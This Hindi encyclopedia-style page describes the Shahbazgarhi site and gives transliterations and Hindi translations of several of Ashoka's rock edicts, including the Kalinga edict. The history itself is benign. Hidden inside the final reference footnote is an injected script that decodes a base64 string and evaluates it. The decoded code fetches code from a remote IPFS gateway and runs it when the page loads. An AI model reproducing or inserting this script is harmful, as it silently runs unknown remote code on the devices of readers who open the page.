अशोक के शिलालेख- शाहबाजगढ़ी

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शाहबाजगढ़ी अथवा शहबाजगढ़ी (अंग्रेज़ी: Shahbazgarhi) मौर्य सम्राट अशोक से सम्बंधित महत्त्वपूर्ण ऐतिहासिक स्थल है। यह पाकिस्तान के उत्तरी भाग में ख़ैबर-पख़्तूनख़्वा प्रान्त के मरदान ज़िले में स्थित है और एक पुरातत्व-स्थल है। यहाँ तीसरी शताब्दी ई. पू. काल के मौर्य राजवंश के सम्राट अशोक के शिला पर अभिलेख का सबसे प्राचीन उदाहरण मिलता है, जो खरोष्ठी लिपि में है। यह इसलिए भी महत्त्वपूर्ण है, क्योंकि भारतीय उपमहाद्वीप में लिखाई का यह सबसे पुराना ज्ञात नमूना है।

अशोक का अभिलेख

शाहबाजगढ़ी के अपने अभिलेख में मौर्य सम्राट अशोक ने समाज और जीव-हिंसा का निषेध किया है। किंतु यह निषेध प्रत्यक्ष रूप से न करके उसने अपनी पाकशाला में की जाने वाली जीवहिंसा के निषेध के रूप में व्यक्त किया है।

  • देवानंप्रिय का शब्दार्थ 'देवता का प्यारा' है। यह ईसा-पूर्व के काल में महाराजाओं की आदरसूचक उपाधि थी ऐसा प्रतीत होता है। अशोक के पौत्र 'दशरथ' और सिंहल नरेश तिस्स के लिए भी इसका प्रयोग हुआ है। सम्भवत: उसका तात्पर्य 'महाराज' या 'महाराजाधिराज' था।
  • आठवें शिलालेख के शाहबाजगढ़ी, कालसी और मानसेहरा के पाठ से 'देवानंप्रिय' और गिरनार पाठ में 'राजानो' समान भाव से प्रयुक्त हुआ है जो इस धारण की पुष्टि करता है।
  • जिस भाव से कुषाण-शासक देवपुत्र कहे गये हैं अथवा गुप्त-शासकों ने अपने सिक्कों पर सुचरितै: दिवं जयति (अपने सुचरित्र से देव-वास, स्थान जीतने) की घोषणा की है, वही भाव यहाँ भी परिलक्षित होता है।
शाहबाजगढ़ी शिलालेख[1]
क्रमांक शिलालेख अनुवाद
1. अयं ध्रमदिपि देवन प्रिअस रञे लिखापितु [।] हिद नो किचि जिवे अर [भि] तु प्रयुहोतवे [नो पि च समज कटव [।] बहुक हि दोषं सम [ज] स देवन प्रियो प्रिअद्रशि रय देखति [।] यह धर्मलिपि देवों के प्रिय प्रियदर्शी राजा द्वारा लिखवायी गयी। यहाँ कोई जीव मार कर होम न करना चाहिए।
2. अस्ति पि च एकतिए समये सधुमति देवन प्रिअस प्रिअद्रशिस रञे [।] पुर महनसिस देवनं प्रिअस प्रिअद्रशिस रञों अनुदिवसों बहुनि प्रणशतसहस्त्रनि अरभियिसु सुपठये [।] सो इदिन यद अयं किंतु देवों के प्रिय प्रियदर्शी राजा से अच्छे (श्रेष्ठ) माने गये कतिपय समाज भी है। पहले देवों के प्रिय प्रियदर्शी राजा के महानस (पाकशाला में प्रतिदिन बहुत लाख प्राणी सूप (शोरबे, भोजन) के लिए मारे जाते थे। आज जब
3. ध्रमदिपि लिखित तद त्रयो वो प्रण हञंति मजुर दुवि 2 म्रुगो 1 [।] सो पि म्रगो नो ध्रुवं [।] एत पि प्रण त्रयो पच न अरभिशंति [।] यह धर्मलिपि लिखी गयी, तब तीन ही प्राणी सूप (शोरबे, भजन) के लिए मारे जाते हैं- दो मोर (और) एक मृग और वह मृग भी ध्रुव (नियत, निश्चित) नहीं है। और ये तीन प्राणी भी पीछे न मारे जाएँगे।
शाहबाजगढ़ी शिलालेख[1]
क्रमांक शिलालेख अनुवाद
1. देवनंप्रियों प्रिय[द्र] शि रज सवत्र इछति सव्र- देवों का प्रिय प्रियदर्शी राजा चाहता है कि
2. प्रषंड वयेयु [।] सवे हि ते समये भव-शुधि च इंछति सर्वत्र सब पाषंड (पंथवाले) वास करें। क्योंकि वे सभी [पाषंड या पंथ] संयम और भावशुद्धि चाहते हैं।
3. जनो चु उचवुच-छंदो उचवुच-रगो [।] ते सव्रं एकदेश व [अंतर इस कारण होता है कि] जन (मनुष्य) ऊँच-नीच विचार के और ऊँच-नीच राग के [होते हैं] ।[इससे] वे पूरी तरह [अपने कर्त्तव्य का पालन] करेंगे अथवा [उसके] एक देश (अंश) का पालन करेंगे।
4. पि कषंति [।] विपुले पि चु दने ग्रस नस्ति समय भव- जिसका दान विपुल है, [किंतु जिसमें] संयम
5. शुधि किट्रञत द्रिढ-भतति निचे पढं[।] भावशुद्धि, कृतज्ञता और दृढ़भक्ति नहीं है, [ऐसा मनुष्य] अत्यंत नीच है।


शाहबाजगढ़ी शिलालेख[1]
क्रमांक शिलालेख अनुवाद
1. अढवषाभिंसितस देवन प्रिअस प्रिअद्रशिस रञो कलिग विजित [।] दिअढमत्रे प्रणशतमहस्त्रे ये ततो अपवुढे शतसहस्त्रमत्रे तत्र हते बहुतवतके व मुटे[।] आठ वर्षों से अभिषिक्त देवों के प्रियदर्शी राजा से कलिंग विजित हुआ। डेढ़ लाख प्राणी यहाँ से बाहर ले जाये गये (कैद कर लिये गये), सौ हज़ार (एक लाख) वहाँ आहत (घायल) हुए; [और] उससे [भी] बहुत अधिक संख्या में मरे।
2. ततो पच अधुन लधेषु कलिगेषु तिव्रे ध्र्मशिलनं ध्रमकमत ध्रमनुशस्ति च देवनं प्रियसर [।] सो अस्ति अनुसोचन देवनं प्रियस विजिनिति कलिगनि [।] अत्पश्चात् अब कलिंग के उपलब्ध होने पर देवों के प्रिय का धर्मवाय (धर्मपालन), धर्मकामता (धर्म की इच्छा) और धर्मानुशासन तीव्र हुए। सो कलिंग के विजेता देवों के प्रिय को अनुशय (अनुशोचन; पछतावा) है।
3. अविजितं हि विजिनमनो यो तत्र वध न मरणं व अपवहों व जनस तं बढं वेदनियमंत गुरुमतं च देवनं प्रियस [।] इदं पि चु ततो गुरुमततरं देवनं प्रियस [।] व तत्र हि क्योंकि [मैं] विजित [देश] को अविजित ही मानता हूँ; यदि वहाँ जन (मनुष्यों) का वध, मरण वा अपवाह (कैद कर ले जाना) होता है। यह (वध आदि) देवों के प्रिय से अत्यंत वेदनीय (दु:खदायी) और गुरु (भारी) माना गया है। यह वध आदि देवों के प्रिय द्वारा उससे भी अधिक भारी माना गया है।
4. वसति ब्रमण व श्रमण व अंञे व प्रषंड ग्रहथ व येसु विहित एष अग्रभुटि-सुश्रुष मतपितुषु सुश्रुष गुरुनं सुश्रुष मित्रसंस्तुतसहयञतिकेषु दसभटकनं संमप्रतिपति द्रिढभतित तेषं तत्र भोति अपग्रथों व वधों व अभिरतन व निक्रमणं [।] येषं व संविहितनं [सि] नहो अविप्रहिनों ए तेष मित्रसंस्तुतसहञतिक वसन [क्योंकि] वहाँ ब्राह्मण, श्रमण,दूसरे पाषण्ड (पंथवाले) और गृहस्थ बसते हैं, जिसमें ये विहित (प्रतिष्ठित) हैं- सबसे पहले (आगे) भरण [पोषण], माता-पिता की शुश्रूषा; मित्रों, प्रशंसितों (या परिचितों), सहायकों [तथा] सम्बन्धियों के प्रति [एवं] दासों और वेतनभोगी नौकरों के प्रति सम्यक बर्ताव [तथा] दृढ़भक्ति। उनका (ऐसे लोगों का) वहाँ उपघात (अपघात) का वध अथवा सुख से रहते हुओं का विनिष्क्रमण (निष्क्रमण, देअशनिकाला) होता है। अथवा जिन व्यवस्थित [लोगों] का स्नेह अक्षुण्ण है, उनके मित्र, प्रशंसित (या परिचित), सहायकों और सम्बन्धियों को व्यसन (दु:ख) की प्राप्ति होती है।
5. प्रपुणति तत्र तं पि तेष वो अपघ्रथो भोति [।] प्रतिभंग च एतं सव्रं मनुशनं गुरुमतं च देवनं प्रियस [।] नस्ति च एकतरे पि प्रषंअडस्पि न नम प्रसदो [।] सो यमत्रो जनो तद कलिगे हतो च मुटो च अपवुढ च ततो [इसलिए] वहाँ उनका (मित्रादि का भी) [अक्षुण्ण स्नेह के कारण] उपघात हो जाता है। यह दशा सब मनुष्यों की है; पर देवों के प्रिय द्वारा अधिक भारी (दु:खद) मानी गयी है। ऐसा [कोई] भी जनपद नहीं है, जहाँ ब्राह्मणों और श्रमणों के वर्ग न हों। कहीं भी जनपद [ऐसा स्थान] नहीं है, जहाँ मनुष्यों का किसी न किसी पाषण्ड (पंथ) में प्रसाद (प्रीति, स्थिति) न हो। सो तब (उस समय) कलिंग के उपलब्ध होने पर जितने जन मनुष्य मारे गये, मर गये और बाहर निकाले गये, उनमें से
6. शतभगे व सहस्त्रभगं व अज गुरुमतं वो देवनं प्रियस [।] यो पि च अपकरेयति छमितवियमते वे देवनं प्रियस यं शकों छमनये [।] य पि च अटवि देवनं प्रियस विजिते भोति त पि अनुनेति अपुनिझपेति [।] अनुतपे पि च प्रभवे सौवाँ भाग वा हजारवाँ भाग भी [यदि आहत होता, मारा जाता या निकाला जाता तो] आज देवों के प्रिय से भारी (खेदजनक) माना जाता। जो भी अपकार करता है, [वह भी] देवों के प्रिय द्वारा क्षंतव्य माना गया है यदि [वह] क्षमा किया जा सके। जो भी अटवियों (वन्य प्रदेशों) [के निवासी] देवों के प्रिय के विजित (राज्य) में है, उन्हें भी [वह] शांत करता है और ध्यानदीक्षित कराता है। अनुताप (पछतावा) होने पर भी देवों के प्रिय का प्रभाव उन्हें कहा [बताया] जाता है, जिसमें [वे अपने दुष्कर्मों पर] लज्जित हो और न मारे जायँ।
7. देवनं प्रियस वुचति तेष किति अवत्रपेयु न च हंञेयसु [।] इछति हि देवनं प्रियों अव्रभुतन अछति संयमं समचरियं रभसिये [।] एषे च मुखमुते विजये देवन प्रियस यो ध्रमविजयों [।] सो चन पुन लधो देवनं प्रियस इह च अंतेषु देवों का प्रिय भूतों (प्राणियों) की अक्षति, संयम समचर्या और मोदवृत्ति (मोद) की इच्छा करता है। जो धर्मविजय है, वहीं देवों के प्रिय द्वारा मुख्य विजय मानी गयी है। पुन: देवों के प्रिय की वह [धर्मविजय] यहा [अपने राज्य में] और सब अंतों (सीमांतस्थित राज्यों) में उपलब्ध हुई है।
8. अषपु पि योजन शतेषु यत्र अंतियोको नम योरज परं च तेन अंतियोकेत चतुरे 4 रजनि तुरमये नम अंतिकिनि नम मक नम अलिकसुदरो नम निज चोड पण्ड अब तम्बपंनिय [।] एवमेव हिद रज विषवस्पि योन-कंबोयेषु नभक नभितिन [वह धर्मविजय] छ: सौ योजनों तक, जहाँ अंतियोक नामक यवनराज है और उस अंतियोक से परे चार राजा-तुरमय (तुलमय), अंतिकिनी, मक (मग) और अलिकसुन्दर नामक हैं, और नीचे (दक्षिण में) चोड़ पाण्डय एवं ताम्रपर्णियों (ताम्रपर्णीवालों) तक [उपलब्ध हुई है] ऐसे ही यहाँ राजा के विषय (राज्य) में यवनों [और] कांबोजों में, नाभक और नाभपंति (नभिति) में,
9. भोज-पितिनिकेषु अन्ध्रपलिदेषु सवत्र देवनं प्रियस ध्रुमनुशस्ति अनुवटंति [।] यत्र पि देवन प्रियस दुत न व्रंचंति ते पि श्रुतु देवनं प्रियस ध्रमवुटं विधेन ध्रुमनुशास्ति ध्रुमं अनुविधियंति अनुविधियशांति च [।] यो च लधे एतकेन भोति सवत्र विजयों सवत्र पुन भोजों [और] पितिनिकों में [तथा] आंध्रो [और] पुलिन्दों में सर्वत्र देवों के प्रिय धर्मानुशासन का [लोग] अनुवर्तन (अनुसरण) करते हैं। जहाँ देवों के प्रिय दूत न भी जाते हैं, वे भी देवों के प्रिय के धर्मवृत्त को, अनुविधान (आचरण) करते हैं और अनुविधान (आचरण) करेंगे।
10. विजयो प्रतिरसो सो [।] लध भोति प्रति ध्रमविजयस्पि [।] लहुक तु खो स प्रित [।] परत्रिकेव महफल मेञति देवन प्रियो [।] एतये च अठये अयो ध्रमदिपि दि पस्त[।] किति पुत्र पपोत्र मे असु नवं विजयं म विजेतविक मञिषु [।] स्पकस्पि यो विजये छंति च लहुदण्डतं च रोचेतु [।] तं एवं विज [यं] मञ [तु] अब तक जो विजय उपलब्ध हुई है, वह विजय सर्वत्र प्रीतिरसवाली है। वह प्रीति धर्मविजय में गाढ़ी हो जाती है। किंतु वह प्रीति निश्चय ही लघुतापूर्ण (क्षुद्र, हलकी) है। देवों का प्रिय पारत्रिक (पारलौकिक) [प्रीति आनन्द] को महाफलवाला मानता है। इस अर्थ (प्रयोजन) के लिए यह धर्मलिपि लिखायी गयी, जिसमें [जो] मेरे पुत्र [और] प्रपौत्र हों, [वे] नवीन विजय को प्राप्त करने योग्य भी मानें। स्वरस (अपनी खुशी) से प्राप्त विजय में [वे] शांति और लघुदण्डता को पसन्द करे तथा उसको ही विजय माने, जो धर्मविजय हैं।
11. यो ध्रुमविजयो [।] सो हिदलोकिको परलोकिको [।] सव्र च निरति भोतु य स्त्रमरति [।] स हि हिदलोकिक परलोकिक [।] वह [धर्मविजय] इहलौकिक [और] पारलौकिक [फल देनेवाली है] जो धर्मरति (उद्यमरति) उद्यम से उत्पन्न आनन्द है [है, वही] सब [प्रकार का] आनन्द हो (माना जाये), क्योंकि वह (धर्म या उद्यम का आनन्द इहलौकिक और पारलौकिक) [फल देनेवाला है]।
शाहबाजगढ़ी शिलालेख[1]
क्रमांक शिलालेख अनुवाद
1. देवनं प्रिय प्रियद्रशि रय एवं हहित [।] नस्ति एदिशं दनं यदिशं ध्रमदनं ध्रमसंस्तवे ध्रंमसंविभगों ध्रमसम्बन्धों [।] तत्र एतं दसभटकनं संमपटिपति मतपितुषु सुश्रूष मित्रसंस्तुतञतिकनं श्रमणब्रहमनं देवों का प्रिय प्रियदर्शी राजा इस प्रकार कहता है-जैसा धर्मदान, धर्म-संस्तव (धर्म-आचरण), धर्म संविभाग (धर्म का लेनदेन) वा धर्मसम्बन्ध है, ऐसा [और कोई] दान नहीं है। उसमें यह होता है-दास (और) भृत्य (नौकर) के प्रति सम्यक बर्त्ताव; माता-पिता की शुश्रूषा, मित्रों, संस्तुतों (प्रशंसितों या परिचितों), सम्बन्धियों, श्रमणों (और) ब्राह्मणों को
2. दनं प्रणनं अनंरभो [।] एतं वतवों पितुन पि पुत्रेन पि भ्रतुन पि समिकेन पि मित्रसंस्तुतेन अव प्रटिवेशियेन इमं सधु इमं कटवों [।] सो तथ करंतं इअलोकं च अरेधेति परत्र च अनतं पुंञं प्रसवति दान (तथा) प्राणियों का अनालंभ ( न मानना)। पिता, पुत्र, भ्राता, स्वामी, मित्र, संस्तुत (प्रशंसित), सम्बन्धी, यहाँ तक कि पड़ोसी से भी यह कहा जाना चाहिए-" यह उत्तम [है] यह कर्त्तव्य [है] ।" ऐसा करता हुआ वह [मनुष्य] इहलोक को सिद्ध करता है और उस धर्म-दान से अन्यत्र (परलोक में) अनंत पुण्य को उत्पन्न करता है।
3. तेन ध्रंमदनेन[।] यही धर्म दान है।
शाहबाजगढ़ी शिलालेख[1]
क्रमांक शिलालेख अनुवाद
1. अतिक्रत्नंअंतंर देवनंप्रिय विहरयत्र नम निक्रमिषु [।] अत्र म्रुगय अञनि च हेदिशानि अभिरमनि अभवसु [1] सो देवनंप्रियों प्रियद्रसि रजर दशवषभिसितों सतो निक्रमि सबोधिं [1] तेन्द ध्रमयत्रयं [1] अत्र इयं होति [:-] श्रमण ब्रमणन द्रशने हिरञपटिविधने च जनपदस जनस द्रशनं ध्रमनुशास्ति [च] ध्रमपरिपुछ च तपोपयं [।] एष भुये रति होति देवनंप्रियस प्रियद्रशिस रञो भगि अंञि [।] बहुत काल बीत गया, देवों के प्रिय (राजा) विहार (यात्रा) के लिए निकलते थे। यहाँ (इसमें) मृगया और इसी प्रकार के अन्य अभिराम (आमोद-प्रमोद) होते थे। देवों का प्रिय प्रियदर्शी राजा इस वर्षों से अभिषिक्त होकर ज्ब संबोधि (बोधगया, सम्यकज्ञान) को निकला (प्राप्त हुआ) यह धर्मयात्रा (चली)। यहाँ (इसमें) तब से यह होता है-
  • श्रमणों और ब्राह्मणों के दर्शन और (उन्हें) दान;
  • वृद्धों (स्थाविरों) के दर्शन और (उन्हें) हिरण्य-प्रतिविधान (धन का वितरण):
  • जनपद के जनों के दर्शन, धर्मानुशासन और तदुपयोगी धर्मपरिपृच्छा (धर्म की पूछताछ)। देवों के प्रिय प्रियदर्शी राजा को इस रति (अभिराम, आनन्द) होता है।


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टीका टिप्पणी और संदर्भ

  1. 1.0 1.1 1.2 1.3 1.4 प्राचीन भारत के प्रमुख अभिलेख |लेखक: डॉ. परमेश्वरीलाल गुप्त |प्रकाशक: विश्वविद्यालय प्रकाशन, वाराणसी |पृष्ठ संख्या: 14-15, 25-27, 31-32, 34-37 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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